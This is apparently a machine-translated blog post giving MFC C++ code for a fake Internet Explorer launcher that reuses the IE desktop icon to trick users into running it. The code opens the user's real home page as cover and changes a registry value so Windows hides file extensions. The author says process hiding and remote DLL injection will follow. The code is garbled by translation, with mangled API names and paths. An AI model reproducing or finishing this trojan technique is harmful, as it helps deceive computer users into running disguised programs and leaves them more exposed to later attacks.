1. First, find an IE icon on the Internet for resources.
2. The following code is used to replace the IE icon on the desktop. You can "cheat" the user to run the program. At first glance, ie is the same, and the home page has not been modified. You can double-click to open an additional page set by yourself, in this way, it's okay to fool the vision of a "common user ~~~~~~
Void cmfcdlg: onbtnie7 () <br/>{< br/> // todo: add your control notification handler code here <br/> // read the IE homepage settings and IE path <br/> tchar szexepath [] = _ T ("C: // program files // Internet Explorer // iw.e. EXE "); <br/> char szstartpage [max_path]; <br/> hkey hkey1; </P> <p> // open the registry <br/> If (regopenkey (HKEY_CURRENT_USER, _ T ("software // Microsoft // Internet Explorer // main "), & hkey1 )! = Error_success) <br/>{< br/> MessageBox (_ T ("An error occurred while reading the IE homepage! "); <Br/> return; <br/>}</P> <p> // set the registry key value <br/> DWORD dwsize = sizeof (szstartpage ); <br/> regqueryvalueex (hkey1, _ T ("start page"), null, null, (lpbyte) szstartpage, & dwsize); <br/> regclosekey (hkey1 ); <br/> ShellExecute (null, "open", szstartpage, null, null, sw_shownormal ); </P> <p> // modify the hidden attributes of the file extension <br/> char buffer [] = "software // Microsoft // windows // CurrentVersion // explorer // advanced "; <br/> hkey hkey2; <br/> DWORD data = 1; <br/> regopenkeyex (HKEY_CURRENT_USER, buffer, 0, key_all_access, & hkey2 ); <br/> regsetvalueex (hkey2, "hidefileext", 0, REG_DWORD, (const byte *) & Data, 4); <br/> regclosekey (hkey2 ); <br/>}
The subsequent functions are still to be improved. It is expected to be improved in terms of process hiding, remote DLL injection, and different ie versions. Stay tuned!